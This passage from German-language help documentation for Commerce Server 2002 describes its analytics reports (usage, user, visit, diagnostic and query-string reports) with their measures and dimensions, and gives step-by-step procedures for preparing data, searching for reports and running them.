Durchschnittliche Besuche pro Woche | Die durchschnittliche Anzahl der im Berichtszeitraum erfolgten Besuche. Ein Besuch ist ein willkürlicher Wert, der sich nach der Verweildauer eines Benutzers auf einer Website richtet. Der Standardwert für einen Besuch ist 30 Minuten.

In der folgenden Tabelle werden die im Bericht enthaltenen Dimensionen aufgelistet.

Dimension | Beschreibung
Datum | Datum, zu dem ein Besuch bzw. eine Anforderung erfolgte.
Site | Site, die besucht oder angefordert wurde.
Kalenderwoche | Kalenderwoche, in der ein Besuch bzw. eine Anforderung erfolgte.

Zurück zu den Webverwendungsberichten

Verwendungstrends (dynamisch)

Mithilfe des Berichts "Verwendungstrends" lässt sich eine Zusammenfassung der täglichen Seitenanforderungen, Benutzer und Besuche anzeigen.

In der folgenden Tabelle werden die im Bericht enthaltenen Measures aufgelistet.

Measure | Beschreibung
Anforderungen | Anzahl der Anforderungen, die ein Benutzer von der Site aus ausgelöst hat.
Verschiedene Benutzer | Ein im Berichtszeitraum eindeutig identifizierter Benutzer. Commerce Server zählt einen eindeutigen Benutzer stets nur einmal.
Besuche | Die Anzahl der im Berichtszeitraum erfolgten abgeschlossenen Besuche.

In der folgenden Tabelle werden die im Bericht enthaltenen Dimensionen aufgelistet.

Dimension | Beschreibung
Datum | Das Datum des Tages, an dem eine einzelne Anforderung erfolgte.
Site | Site, in der eine einzelne Anforderung erfolgte.
Benutzertyp | Typ des Benutzers, der die Site besucht hat, z. B. registrierter Benutzer oder anonymer Benutzer.

Zurück zu den Webverwendungsberichten

Siehe auch

Informationen über dynamische und statische Berichte

Commerce Server 2002-Berichte

Vorbereitung für die Analyse von Commerce Server-Daten

Suchen von Berichten

Ausführen von Berichten

Anzeigen von dynamischen Berichten

Anzeigen von statischen Berichten

Drucken von Berichten

Berichte mit Zugriff auf OLAP-Cubes und SQL Server


Benutzerberichte

Mit dem Berichtsmodul können Sie Berichte zur Analyse von Benutzerdaten ausführen.

Verschiedene Benutzer pro Zeitraum

Benutzertrends

Verschiedene Benutzer pro Zeitraum (dynamisch)

Mithilfe des Berichts "Verschiedene Benutzer pro Zeitraum" können Sie feststellen, ob wenige Benutzer die Site oft oder viele Personen die Site nur einmal besuchen. Dieser Bericht zeigt die Anzahl verschiedener Benutzer der Site sowie die Häufigkeit der Besuche innerhalb eines bestimmten Zeitraums an. Hierbei wird die Anzahl der verschiedenen Benutzer in Beziehung zu der Anzahl der Besuche eines jeden Benutzers gesetzt. Die verschiedenen Benutzer werden für den aktuell ausgewählten Zeitraum berechnet.

In der folgenden Tabelle werden die im Bericht enthaltenen Measures aufgelistet.

Measure | Beschreibung
Verschiedene Benutzer | Ein im Berichtszeitraum eindeutig identifizierter Benutzer. Commerce Server zählt einen eindeutigen Benutzer stets nur einmal.
Besuche | Die Anzahl der im Berichtszeitraum erfolgten abgeschlossenen Besuche in der Site.

In der folgenden Tabelle werden die im Bericht enthaltenen Dimensionen aufgelistet.

Dimension | Beschreibung
Site | Site, zu der Besuche erfasst werden.
Datum | Das Datum des Tages, an dem die einzelnen Besuche erfolgten.
Benutzertyp | Typ des Benutzers, der die Site besucht hat, z. B. registrierter Benutzer oder anonymer Benutzer.

Zurück zu den Benutzerberichten

Verwendungstrends (dynamisch)

Mit dem Bericht "Verwendungstrends" lässt sich ermitteln, wie erfolgreich Sie dabei gewesen sind, Benutzer zu wiederholten Besuchen zu bewegen. Dieser Bericht zeigt, sortiert nach Datum, die Benutzertypen (neu und wiederholt) an, die Ihre Site besuchen.

In der folgenden Tabelle werden die im Bericht enthaltenen Measures aufgelistet.

Measure | Beschreibung
Verschiedene Benutzer | Ein im Berichtszeitraum eindeutig identifizierter Benutzer. Commerce Server zählt einen eindeutigen Benutzer stets nur einmal.
Neue Benutzer | Anzahl der Benutzer, die die Site während des Berichtszeitraums zum ersten Mal besuchten.
Wiederholte Benutzer % | Quotient aus der Anzahl der Benutzer, die die Site im Berichtszeitraum zum wiederholten Mal besuchten (wiederholte Benutzer), und der Anzahl unterschiedlicher Benutzer.
Wiederholte Benutzer | Anzahl der Benutzer, die die Site im Berichtszeitraum zum wiederholten Mal besuchten.

In der folgenden Tabelle werden die im Bericht enthaltenen Dimensionen aufgelistet.

Dimension | Beschreibung
Datum | Datum des Tages, an dem ein Benutzer die Site besucht hat.
Site | Name der Site, die ein Benutzer besucht hat.
Kalenderwoche | Kalenderwoche, in der ein Benutzer eine Site besucht hat.

Zurück zu den Benutzerberichten

Siehe auch

Informationen über dynamische und statische Berichte

Commerce Server 2002-Berichte

Vorbereitung für die Analyse von Commerce Server-Daten

Suchen von Berichten

Ausführen von Berichten

Anzeigen von dynamischen Berichten

Anzeigen von statischen Berichten

Drucken von Berichten


Besuchsberichte

Mit dem Berichtsmodul lassen sich Berichte zur Analyse von Besuchsdaten ausführen.

Eingangsseiten

Ausgangsseiten

Allgemeine Aktivitätsstatistiken

Eingangsseiten (dynamisch)

Über den Bericht "Eingangsseiten" können Sie die 1.000 Seiten der Site ermitteln, die von Benutzern wahrscheinlich zuerst besucht werden. Dieser Bericht zeigt die 1.000 URIs an, die am häufigsten zum Eintritt in die Site gedient haben, sowie die Häufigkeit der Verwendung der einzelnen URIs.

Hinweise

  • Auch wenn die ersten 1.000 Seiten im Bericht immer angezeigt werden, können weitere Seiten im Bericht enthalten sein. Das liegt daran, dass die URI-Dimension die ersten 1.000 Eingangsseiten, Ausgangsseiten und die am häufigsten angeforderten Seiten für jede Site umfasst.
  • Wenn Sie URIs sehen möchten, die andere Informationen als die der 1.000 am häufigsten verwendeten URIs bieten, z. B. die am wenigsten benutzten URIs, kann Ihr Systemadministrator die in der Sitedatenbank gespeicherte Prozedur CSDW_MakeAggRequestsByUri entsprechend bearbeiten.

In der folgenden Tabelle werden die im Bericht enthaltenen Measures aufgelistet.

Measure | Beschreibung
Besuchsanzahl | Die Anzahl der im Berichtszeitraum erfolgten abgeschlossenen Besuche in der Site.

In der folgenden Tabelle werden die im Bericht enthaltenen Dimensionen aufgelistet.

Dimension | Beschreibung
Datum | Datum des Tages, an dem der Besuch erfolgte.
Site | Die vom Benutzer besuchte Site.
URI | URI (Universal Resource Identifier) der Seite, über die der Benutzer die Site aufgerufen hat.

Zurück zu den Besuchsberichten

Ausgangsseiten (dynamisch)

Mit dem Bericht "Ausgangsseiten" können Sie feststellen, von welchen Seiten die Benutzer Ihre Site wahrscheinlich verlassen. Dieser Bericht zeigt die 1.000 URIs an, die am häufigsten zum Austritt aus der Site gedient haben, sowie die Häufigkeit der Verwendung der einzelnen URIs.

Hinweise

  • Auch wenn die ersten 1.000 Seiten im Bericht immer angezeigt werden, können weitere Seiten im Bericht enthalten sein. Das liegt daran, dass die URI-Dimension die ersten 1.000 Eingangsseiten, Ausgangsseiten und die am häufigsten angeforderten Seiten für jede Site umfasst.
  • Wenn Sie URIs sehen möchten, die andere Informationen als die der 1.000 am häufigsten verwendeten URIs bieten, z. B. die am wenigsten benutzten URIs, kann Ihr Systemadministrator die in der Sitedatenbank gespeicherte Prozedur CSDW_MakeAggRequestsByUri entsprechend bearbeiten.

In der folgenden Tabelle werden die im Bericht enthaltenen Measures aufgelistet.

Measure | Beschreibung
Besuchsanzahl | Die Gesamtanzahl der im Berichtszeitraum erfolgten abgeschlossenen Besuche in der Site.

In der folgenden Tabelle werden die im Bericht enthaltenen Dimensionen aufgelistet.

Dimension | Beschreibung
Datum | Datum des Tages, an dem der Besuch erfolgte.
Site | Die vom Benutzer besuchte Site.
URI | URI (Universal Resource Identifier) der Seite, über die der Benutzer die Site verlassen hat.

Zurück zu den Besuchsberichten

Allgemeine Aktivitätsstatistiken (dynamisch)

Mit dem Bericht "Allgemeine Aktivitätsstatistiken" können Sie die Aktivitäten in Ihrer Site untersuchen. Dieser Bericht zeigt die durchschnittlichen Anforderungen pro Besuch, die durchschnittliche Besuchsdauer und die Anzahl der Anforderungen und Besuche über einen bestimmten Zeitraum an.

In der folgenden Tabelle werden die im Bericht enthaltenen Measures aufgelistet.

Measure | Beschreibung
Durchschnittliche Dauer pro Besuch | Durchschnittliche Zeit, die ein Benutzer auf einer Site verbringt (in Sekunden).
Durchschnittliche Anforderungen pro Besuch | Durchschnittliche Anzahl der Anforderungen, die ein Benutzer beim Besuch der Site ausgelöst hat.
Anforderungen | Anzahl der in dieser Site ausgelösten Anforderungen während des Berichtszeitraums.
Besuche | Die Anzahl der im Berichtszeitraum erfolgten abgeschlossenen Besuche auf einer Site.

In der folgenden Tabelle werden die im Bericht enthaltenen Dimensionen aufgelistet.

Dimension | Beschreibung
Datum | Datum des Tages, an dem der Besuch erfolgte.
Site | Die vom Benutzer besuchte Site.

Zurück zu den Besuchsberichten

Siehe auch

Informationen über dynamische und statische Berichte

Commerce Server 2002-Berichte

Vorbereitung für die Analyse von Commerce Server-Daten

Suchen von Berichten

Ausführen von Berichten

Anzeigen von dynamischen Berichten

Anzeigen von statischen Berichten

Drucken von Berichten

Berichte mit Zugriff auf OLAP-Cubes und SQL Server


Diagnoseberichte

Mit dem Berichtsmodul führen Sie Berichte zur Analyse von Diagnosedaten aus.

Zusammenfassung der Bandbreite

Bandbreitentrends

Zugriffe nach HTTP-Status

Zugriffe nach Win32-Status

Zusammenfassung der Bandbreite (dynamisch)

Über den Bericht "Zusammenfassung der Bandbreite" wird eine PivotChart des wöchentlichen Bandbreitenverbrauchs einer Site angezeigt.

In der folgenden Tabelle werden die im Bericht enthaltenen Measures aufgelistet.

Measure | Beschreibung
Bandbreite (MB) | Die im Berichtszeitraum genutzte Bandbreite.

In der folgenden Tabelle werden die im Bericht enthaltenen Dimensionen aufgelistet.

Dimension | Beschreibung
Datum | Datum, für das die Bandbreite gemessen wird. Der Standardwert ist "wöchentlich".
Site | Site, für die die Bandbreite gemessen wird.

Zurück zu den Diagnoseberichten

Bandbreitentrends (dynamisch)

Mit dem Bericht "Bandbreitentrends" können Sie den täglichen Bandbreitenverbrauch einer Site anzeigen.

In der folgenden Tabelle werden die im Bericht enthaltenen Measures aufgelistet.

Measure | Beschreibung
Bandbreite (MB) | Die im Berichtszeitraum genutzte Bandbreite.

In der folgenden Tabelle werden die im Bericht enthaltenen Dimensionen aufgelistet.

Dimension | Beschreibung
Datum | Datum, für das die Bandbreite gemessen wird. Der Standardwert ist "wöchentlich".
Wochentag | Wochentag, für den die Bandbreite gemessen wird.
Site | Site, für die die Bandbreite gemessen wird.

Zurück zu den Diagnoseberichten

Zugriffe nach HTTP-Status (dynamisch)

Mit dem Bericht "Zugriffe nach HTTP-Status" können Sie Probleme, die Benutzer mit den 1.000 aktivsten Seiten einer Site haben könnten, ermitteln und diagnostizieren. Dieser Bericht zeigt die HTTP-Codes an, die den 1.000 aktivsten Seiten einer Website zugeordnet worden sind.

Hinweise

  • Auch wenn die ersten 1.000 Seiten im Bericht immer angezeigt werden, können weitere Seiten im Bericht enthalten sein. Das liegt daran, dass die URI-Dimension die ersten 1000 Eingangsseiten, Ausgangsseiten und die am häufigsten angeforderten Seiten für jede Site umfasst.
  • Wenn Sie mehr als die 1.000 aktivsten Seiten sehen möchten, z. B. die Seiten mit der geringsten Aktivität, kann Ihr Systemadministrator die gespeicherte Prozedur CSDW_MakeAggRequestsByUri in der Sitedatenbank entsprechend bearbeiten.

In der folgenden Tabelle werden die im Bericht enthaltenen Measures aufgelistet.

Measure | Beschreibung
Anzahl | Gesamtanzahl der in einer Site erfolgten Zugriffe im Berichtszeitraum.

In der folgenden Tabelle werden die im Bericht enthaltenen Dimensionen aufgelistet.

Dimension | Beschreibung
Datum | Datum des Tages, an dem auf eine Seite zugegriffen wurde.
HTTP-Status | Der HTTP-Status der aufgerufenen Seite, z. B. 200, 404 oder 500. Weitere Informationen zu HTTP-Statuswerten finden Sie in der W3C Standards-Dokumentation.
Site | Site, auf die zugegriffen wurde.
URI | URI (Universal Resource Identifier) für die Seite der Site, auf die zugegriffen wurde.

Zurück zu den Diagnoseberichten

Zugriffe nach Win32-Status (dynamisch)

Mit dem Bericht "Zugriffe nach Win32-Status" können Sie Probleme, die Benutzer mit den 1.000 aktivsten Seiten einer Site haben könnten, ermitteln und diagnostizieren. Dieser Bericht zeigt die Win32-Codes an, die den 1.000 aktivsten Seiten einer Website zugeordnet worden sind.

Hinweise

  • Auch wenn die ersten 1.000 Seiten im Bericht immer angezeigt werden, können weitere Seiten im Bericht enthalten sein. Das liegt daran, dass die URI-Dimension die ersten 1.000 Eingangsseiten, Ausgangsseiten und die am häufigsten angeforderten Seiten für jede Site umfasst.
  • Wenn Sie mehr als die 1.000 aktivsten Seiten sehen möchten, z. B. die Seiten mit der geringsten Aktivität, kann Ihr Systemadministrator die gespeicherte Prozedur CSDW_MakeAggRequestsByUri in der Sitedatenbank entsprechend bearbeiten.

In der folgenden Tabelle werden die im Bericht enthaltenen Measures aufgelistet.

Measure | Beschreibung
Anzahl | Anzahl der in einer Site erfolgten Zugriffe im Berichtszeitraum.

In der folgenden Tabelle werden die im Bericht enthaltenen Dimensionen aufgelistet.

Dimension | Beschreibung
Datum | Datum des Tages, an dem der Zugriff erfolgte.
Site | Site, auf die zugegriffen wurde.
URI | URI (Universal Resource Identifier) für die Seite der Site, auf die zugegriffen wurde.
Win32-Status | Der Win32-Status der aufgerufenen Seite, z. B. 0=erfolgreich. Weitere Informationen zu den Win32-Statuswerten finden Sie in der Dokumentation für W3C Standards.

Zurück zu den Diagnoseberichten

Siehe auch

Informationen über dynamische und statische Berichte

Commerce Server 2002-Berichte

Vorbereitung für die Analyse von Commerce Server-Daten

Suchen von Berichten

Ausführen von Berichten

Anzeigen von dynamischen Berichten

Anzeigen von statischen Berichten

Drucken von Berichten

Berichte mit Zugriff auf OLAP-Cubes und SQL Server


Abfragezeichenfolgeberichte

Mit dem Berichtsmodul können Sie Berichte zur Analyse von Abfragezeichenfolgedaten ausführen.

Abfragezeichenfolgen (mehrere Werte)

Abfragezeichenfolgen (einzelner Wert)

Abfragezeichenfolgen (mehrere Werte) (statisch)

Mit dem Bericht "Abfragezeichenfolgen (mehrere Werte)" lassen sich die Informationen ermitteln, die Benutzer in Ihrer Site gesucht haben. Dieser Bericht zeigt die Anzahl der Anforderungen von Abfragezeichenfolgen an, die Sie zur Analyse durch das System konfiguriert haben. Der Systemadministrator kann z. B. eine Abfragezeichenfolge mit mehreren Werten konfigurieren, um die Artikel zu ermitteln, an denen die Benutzer am meisten interessiert sind.

In der folgenden Tabelle werden die im Bericht enthaltenen Measures aufgelistet.

Measure | Beschreibung
Anforderungen | Anzahl der in dieser Site ausgelösten Anforderungen während des Berichtszeitraums.

In der folgenden Tabelle werden die im Bericht enthaltenen Dimensionen aufgelistet.

Dimension | Beschreibung
Name | Name der Abfragezeichenfolge, die in der Site ausgeführt wurde.
Wert | Der Wert der Abfragezeichenfolge, z. B. http://MeineDomäne/Mein.ASP?Query1=Value1.

Zurück zu den Abfragezeichenfolgeberichten

Abfragezeichenfolgen (einzelner Wert) (statisch)

Mit dem Bericht "Abfragezeichenfolgen (einzelner Wert)" lassen sich die Informationen ermitteln, die Benutzer in Ihrer Site gesucht haben. Dieser Bericht zeigt die Anzahl der Anforderungen von Abfragezeichenfolgen an, die Sie zur Analyse durch das System konfiguriert haben. Der Systemadministrator kann z. B. eine Abfragezeichenfolge mit einem einzelnen Werte konfigurieren, um die Häufigkeit zu ermitteln, in der die Benutzer eine bestimmte Suchzeichenfolge in der Site eingegeben haben. Mithilfe dieses Berichts können Sie dann die beliebtesten Suchzeichenfolgen in Ihrer Site analysieren.

In der folgenden Tabelle werden die im Bericht enthaltenen Measures aufgelistet.

Measure | Beschreibung
Anforderungen | Anzahl der Wiederholungen, mit der eine Abfragezeichenfolge in einer Site im Berichtszeitraum angefordert wurde.

In der folgenden Tabelle werden die im Bericht enthaltenen Dimensionen aufgelistet.

Dimension | Beschreibung
Name | Der Name der Abfragezeichenfolge.
Wert | Der Wert der Abfragezeichenfolge, z. B. http://MeineDomäne/Mein.ASP?Query1=Value1.

Zurück zu den Abfragezeichenfolgeberichten

Siehe auch

Informationen über dynamische und statische Berichte

Commerce Server 2002-Berichte

Vorbereitung für die Analyse von Commerce Server-Daten

Suchen von Berichten

Ausführen von Berichten

Anzeigen von dynamischen Berichten

Anzeigen von statischen Berichten

Drucken von Berichten

Berichte mit Zugriff auf OLAP-Cubes und SQL Server


Berichtseigenschaften

Über die Berichtseigenschaften können Einzelheiten eines Berichts vor dessen Ausführung angezeigt werden. Die Anzeige einer Berichtsabfrage, die in den Eigenschaften des Berichts zur Verfügung steht, hilft bei der Feststellung, ob eine bestimmte Berichtsdefinition die gewünschten Daten liefern wird. Die Verarbeitung von statischen Berichten, die über einen großen Datensatz ausgeführt werden, kann einige Zeit in Anspruch nehmen.

Die Berichtseigenschaften enthalten nützliche Informationen über den Bericht wie den Namen, die Beschreibung, den Typ, das Erstellungsdatum und die Abfrage, die dem Bericht zu Grunde liegt. Es ist nicht möglich, die Berichtseigenschaften zu ändern. Informationen über das Anzeigen von Berichtseigenschaften finden Sie unter Anzeigen von Berichtseigenschaften.

In der nachfolgenden Tabelle werden die Eigenschaften beschrieben, die im Berichtsmodul angezeigt werden können.

Eigenschaft | Beschreibung
Name | Name des Berichts.
Beschreibung | Beschreibung des Berichts.
Berichtstyp | Typ des Berichts.
Erstellt am | Erstellungsdatum des Berichts.
Erstellt von | Name der Person, die den Bericht erstellt hat.
Geändert am | Letztes Änderungsdatum des Berichts.
Bearbeitet von | Name der Person, die die letzte Änderung am Bericht vorgenommen hat.
Abfrage | Abfrage in SQL (Structured Query Language) oder MDX (Multidimensional Expressions), die für den Bericht ausgeführt werden soll. Bei dynamischen Berichten steht die Eigenschaft Abfrage nicht zur Verfügung.

Siehe auch

Informationen über dynamische und statische Berichte

Commerce Server 2002-Berichte

Erstellen einer neuen dynamischen Berichtsdefinition

Berichte mit Zugriff auf OLAP-Cubes und SQL Server


Zeitangaben in Berichten

Alle Commerce Server 2002-Berichte stellen Daten über das Benutzerverhalten in Abhängigkeit von der Zeit dar. Die Berichte über die wöchentlichen Aktivitäten verwenden immer den standardmäßigen Wochenbeginn (gewöhnlich Sonntag) der jeweiligen Sprachversion von SQL Server.

W3C-Protokolldaten werden immer in Greenwich Mean Time (GMT) erfasst. Die Korrektur für Ihre Zeitzone wird dann beim Ausführen des DTS-Tasks für Webprotokollimporte vorgenommen. Weitere Informationen finden Sie unter Ausführen der Data Warehouse-Ressource.

Siehe auch

Berichte mit Zugriff auf OLAP-Cubes und SQL Server


Clickstream-Analyse

Mithilfe von Commerce Server 2002-Berichten können Sie protokollierte Daten analysieren, die die Benutzeraktivitäten auf Ihrer Website schrittweise erfassen. So können Sie z. B. Benutzer aufgrund von ähnlichen Aktivitäten in Segmente einteilen, Sitebesucher entsprechend ihrer demographischen Daten in Kategorien einordnen, die aufgerufenen Inhalte und ihre Ursprungs-Websites ermitteln, u.v.m.

Durch die Analyse der Clickstream-Daten Ihrer Kunden können Sie deren Verhalten, z. B. die Vorlieben und Abneigungen, besser beurteilen und somit die Effektivität Ihrer Marketingkampagnen erhöhen.

Anhand folgender Berichte können Sie die Clickstream-Daten der Benutzer analysieren:

Aktivität pro Browser

Verzeichnisse

Eingangspfadanalyse

Topverweiser (Domänen) nach Anforderungen

Hauptsächlich angeforderte Seiten

Zusammenfassung der Verwendung pro Wochentag

Zusammenfassung der Verwendung nach Tageszeit

Zusammenfassung der Verwendung pro Kalenderwoche

Verwendungstrends

Eingangsseiten

Ausgangsseiten

Allgemeine Aktivitätsstatistiken


Vorbereitung für die Analyse von CommerceServer-Daten

Feedback zu dieser Seite senden Commerce Server 2002

Vorbereitung für die Analyse von Commerce Server-Daten

Die Analysemodule von Business Desk werden zur Ausführung von Berichten, zur Anzeige von Segmentmodellen und zum Analysieren der Benutzeraktivitäten in Ihrer Website verwendet. Damit die Daten über die Benutzeraktivität für die Analyse zur Verfügung stehen, müssen mehrere Aufgaben ausgeführt werden. In der folgenden Abbildung werden die Schritte dargestellt, die erforderlich sind, um die Daten für den analytischen Prozess von Commerce Server 2002 zur Verfügung zu stellen.

Vorbereitung für die Analyse von Commerce Server-Daten

Vorbereitung für die Analyse von Commerce Server-Daten

  1. Commerce Server 2002 wird vom Systemadministrator installiert. Nähere Informationen über das Installieren von Commerce Server 2002 finden Sie im Commerce Server 2002-Installationshandbuch.
  2. Der Business Desk Client von Commerce Server wird auf den Computern installiert, auf denen Geschäftsanalysetasks ausgeführt werden sollen.
  3. Der Systemadministrator konfiguriert das Data Warehouse und führt ggf. den DTS-Datenlöschtask aus. Weitere Informationen über das Konfigurieren des Data Warehouse finden Sie unter Ausführen des Data Warehouse.
  4. Der Systemadministrator kann den Benutzern auch spezielle SQL Server-Datenbankrollen zuweisen, sodass einige Benutzer dann Berichte lesen und speichern können, während andere Benutzer nur eine Berechtigung zum Lesen dieser Berichte haben. Weitere Informationen zum Erstellen dieser Rollen finden Sie unter Skripts zum Sichern von Datenbanken, auf die Berichte zugreifen.
  5. Ihr Systemadministrator importiert Benutzeraktivitätsdaten in das Data Warehouse. Informationen über das Importieren von Daten in das Data Warehouse finden Sie unter Importieren von Daten in das Data Warehouse in der Commerce Server 2002-Hilfe.
  6. Der DTS-IP-Auflösungstask wird ggf. vom Systemadministrator ausgeführt.
  7. Der Systemadministrator führt den DTS-Berichtsvorbereitungstask aus, durch den die OLAP-Cubes mit den Daten in das Data Warehouse geladen werden. Die OLAP-Cubes werden beim Entpacken einer Site installiert. Die OLAP-Cubes organisieren und speichern die Daten so, dass das Abrufen durch die Analyseprozesse verbessert wird. Informationen über das Ausführen des Berichtsvorbereitungsprozesses finden Sie unter Ausführen des DTS-Berichtsvorbereitungstasks in der Commerce Server 2002-Hilfe.
  8. Die Benutzeraktivitäten in einer Website werden durch Ausführen von Analyseberichten analysiert. Informationen über die Ausführung von Berichten finden Sie unter Ausführen von Berichten.

Siehe auch

Suchen von Berichten

Ausführen von Berichten


Suchen von Berichten

Mithilfe des Berichtsmoduls kann nach dynamischen und statischen Berichten gesucht werden.

Sie können die Berichtsliste nach einem bestimmten Bericht oder einer Gruppe von Berichten durchsuchen. Sie können über den Suchbereich eine Liste aller verfügbaren Berichte erhalten oder auch die Suche mithilfe der Berichtseigenschaften einschränken. Die Ergebnisliste enthält alle Berichte, die mit den Suchkriterien übereinstimmen. Die Liste enthält vier Spalten (Name, Kategorie, Erstellt von und Typ), die den vier Berichtseigenschaften mit diesen Namen entsprechen. Die Ergebnisliste kann nach den Eigenschaften Name, Kategorie, Erstellt von und Typ sortiert werden.

Bei der Suche nach Berichten gibt das Berichtsmodul alle Einträge zurück, die mit der Suchzeichenfolge beginnen oder ganz übereinstimmen.

So zeigen Sie eine Liste aller verfügbaren Berichte an

So suchen Sie nach einem Bericht über seine Eigenschaften

So sortieren Sie die Berichtsliste

So zeigen Sie eine Liste aller verfügbaren Berichte an

  1. Klicken Sie im Bildschirm Analyse auf Berichte und dann auf der Symbolleiste auf Suchen.
  2. Wählen Sie in der Dropdownliste Suchen nach den Eintrag Alle Berichte aus, und klicken Sie dann auf Suchen.

Daraufhin wird im Bildschirm Berichte eine Liste aller verfügbaren Berichte angezeigt.

So suchen Sie nach einem Bericht über seine Eigenschaften

  1. Klicken Sie im Bildschirm Analyse auf Berichte und dann auf der Symbolleiste auf Suchen.
  2. Wählen Sie in der Dropdownliste Suchen nach zwischen den folgenden Einträgen aus:
    Funktion | Aktion
    Name | Suchen nach einem Bericht dieses Namens.
    Kategorie | Suchen nach einem Bericht mithilfe der Kategorie, in der er enthalten ist.
    Erstellt von | Suchen nach einem Bericht mithilfe des Autors.
    Typ | Suchen nach einem Bericht mithilfe des Typs (dynamisch oder statisch).
    Jede Information | Suchen nach einem Bericht mithilfe einer beliebigen Kombination von Suchkriterien (Name, Kategorie, Erstellt von und Typ).
    Alle Berichte | Suchen nach allen verfügbaren Berichten.
  3. Geben Sie im daraufhin angezeigten Eigenschaftswertfeld den jeweiligen Wert der ausgewählten Eigenschaft(en) (Name, Kategorie, Erstellt von und Typ) ein, oder treffen Sie in der Liste eine Auswahl.

    Wenn Sie die Option Jede Information gewählt haben, werden für vier Eigenschaften Textfelder angezeigt: Name, Kategorie, Erstellt von und Typ.

  4. Geben Sie im entsprechenden Eigenschaftswertfeld den Wert für eine oder mehrere Eigenschaften ein, oder treffen Sie in der Liste eine Auswahl.
  5. Klicken Sie auf Suchen.

Im Bildschirm Berichte wird eine Liste aller Berichte angezeigt, die mit den Suchkriterien übereinstimmen.

So sortieren Sie die Berichtsliste

  • Klicken Sie im Menü Analyse auf Berichte, und führen Sie dann folgende Schritte aus:
    Funktion | Aktion
    Name | Sortieren nach Berichtsnamen. Standardmäßig werden die Berichte in aufsteigender alphabetischer Reihenfolge sortiert.
    Kategorie | Sortieren nach Berichtskategorie.
    Erstellt von | Sortieren nach dem Autor des Berichts.
    Typ | Sortieren nach dem Berichtstyp.

Siehe auch

Informationen über dynamische und statische Berichte

Commerce Server 2002-Berichte

Ausführen von Berichten

Anzeigen von Berichtseigenschaften


Ausführen von Berichten

Mithilfe des Berichtsmoduls können dynamische und statische Berichte ausgeführt werden.

Der Systemadministrator muss verschiedene Aufgaben erledigen, bevor Berichte ausgeführt werden können. So muss er beispielsweise regelmäßig Daten in das Data Warehouse importieren und den DTS-Berichtsvorbereitungstask (Data Transformation Services) ausführen, um sicherzustellen, dass in den von Ihnen ausgeführten Berichten stets die aktuellsten Daten vorhanden sind. (Bei Bedarf erhalten Sie vom Systemadministrator auch die entsprechenden Berechtigungen zum Speichern und Anzeigen eines Berichts.) Weitere Information finden Sie unter Vorbereitung für die Analyse von Commerce Server-Daten.

Hinweis

  • Wenn das Berichtsmodul zum ersten Mal geöffnet wird, geht die Standardansicht von einer Suche nach allen Berichten aus. Die Berichtsliste kann durch Verwendung speziellerer Suchkriterien eingeschränkt werden.

Dieser Abschnitt beinhaltet folgende Themen:

  • Ausführen von dynamischen und statischen Berichten
  • Beschleunigen der Berichtsausführung


Ausführen von dynamischen und statischen Berichten

Führen Sie einen Bericht anhand der folgenden Verfahren aus.

  • So führen Sie einen dynamischen Bericht aus
  • So führen Sie einen statischen Bericht aus

So führen Sie einen dynamischen Bericht aus

  1. Bitten Sie den Systemadministrator, Daten in das Data Warehouse zu importieren und die für Berichte verfügbaren Daten durch Ausführen des DTS-Berichtsvorbereitungstasks zur Verfügung zu stellen.
  2. Klicken Sie im Menü Analyse auf Berichte. Markieren Sie in der Liste der verfügbaren Berichte die dynamische Berichtsdefinition, die Sie ausführen möchten, und klicken Sie dann auf der Symbolleiste auf Ausführen.

Der abgeschlossene dynamische Bericht wird in einem neuen Browserfenster als PivotTable angezeigt.

Hinweise

  • Wenn die PivotTable nicht sichtbar ist, klicken Sie auf der Symbolleiste auf Pivot ein-/ausblenden.
  • Commerce Server 2002 unterstützt in dynamischen Berichten bis zu 250.000 Elemente pro Dimension. Wenn die Datenmenge für den Bericht 250.000 Elemente pro Dimension übersteigt, wird der Bericht im Browserfenster ohne Daten angezeigt.

So führen Sie einen statischen Bericht aus

  1. Bitten Sie den Systemadministrator, Daten in das Data Warehouse zu importieren und die für Berichte verfügbaren Daten durch Ausführen des DTS-Berichtsvorbereitungstasks zur Verfügung zu stellen.
  2. Klicken Sie im Menü Analyse auf Berichte. Markieren Sie in der Liste der verfügbaren Berichte den statischen Bericht, den Sie aufrufen möchten, und klicken Sie dann auf der Symbolleiste auf Ausführen.
  3. Führen Sie im Dialogfeld Berichtsparameter im Bereich Sitename Folgendes aus:
    Funktion | Aktion
    Operand | Markieren Sie in der Dropdownliste einen Operanden (Alle, Ist gleich, Ist ungleich, Wie, Nicht wie) um festzulegen, für welche Site der Bericht ausgeführt werden soll.
    Parameterwert | Dieses Feld enthält standardmäßig den aktuellen Sitenamen. Geben Sie ggf. den Namen einer anderen Site ein, für die Sie den Bericht ausführen möchten. Wenn der eingegebene Name mit keinem Commerce Server 2002-Sitenamen übereinstimmt, schlägt der Bericht entweder fehl oder er enthält keine Daten.
  4. Passen Sie im Dialogfeld Berichtsparameter die Berichtsparameter entsprechend Ihren Anforderungen an. Alle Berichtsparameter sind berichtsspezifisch.

    Hinweis

    • Sie können die Berichtsabfrage, den Feldnamen und die Parametertags für die Zahl der Benutzer und den Sitenamen anzeigen, indem Sie im Dialogfeld Berichtsparameter auf die Schaltfläche Erweitert klicken.
  5. Klicken Sie auf OK.

    Vorsicht

    • Wenn viele statische Berichte gleichzeitig ausgeführt werden, kann das die Verarbeitungszeiten verlängern oder sogar dazu führen, dass Business Desk nicht mehr reagiert.

Der Bericht wird ausgeführt und steht nach seiner Fertigstellung im Modul "Abgeschlossene Berichte" für die Anzeige zur Verfügung.

Siehe auch

Sichern von Berichten

Beschleunigen der Berichtsausführung

Berichte mit Zugriff auf OLAP-Cubes und SQL Server

Skripts zum Sichern von Datenbanken, auf die Berichte zugreifen

Zugriff auf den Analysis-Server über HTTPS

Informationen über dynamische und statische Berichte

Commerce Server 2002-Berichte

Suchen von Berichten


Beschleunigen der Berichtsausführung

Da sich die Data Warehouse-Datenbank zunehmend vergrößert, verlangsamt sich der Prozess des Renderns von Berichten. Um dynamische Berichte schneller ausführen zu können, muss der Systemadministrator in Data Warehouse den DTS-Task zum Speichern von Berichten im Cache ausführen. Mit dem DTS-Task werden Berichte so vorbereitet, dass bestimmte Teilaufgaben der Berichtsausführung bereits im Voraus durchgeführt werden.

Das Rendern der folgenden statischen Berichte kann bei einer umfangreichen Data Warehouse-Datenbank bis zu vier Stunden dauern:

  • Abfragezeichenfolgen (mehrere Werte)
  • Abfragezeichenfolgen (einzelner Wert)
  • Eingangspfadanalyse

Siehe auch

Ausführen von dynamischen und statischen Berichten

Drucken von Berichten

Anzeigen von Berichtseigenschaften


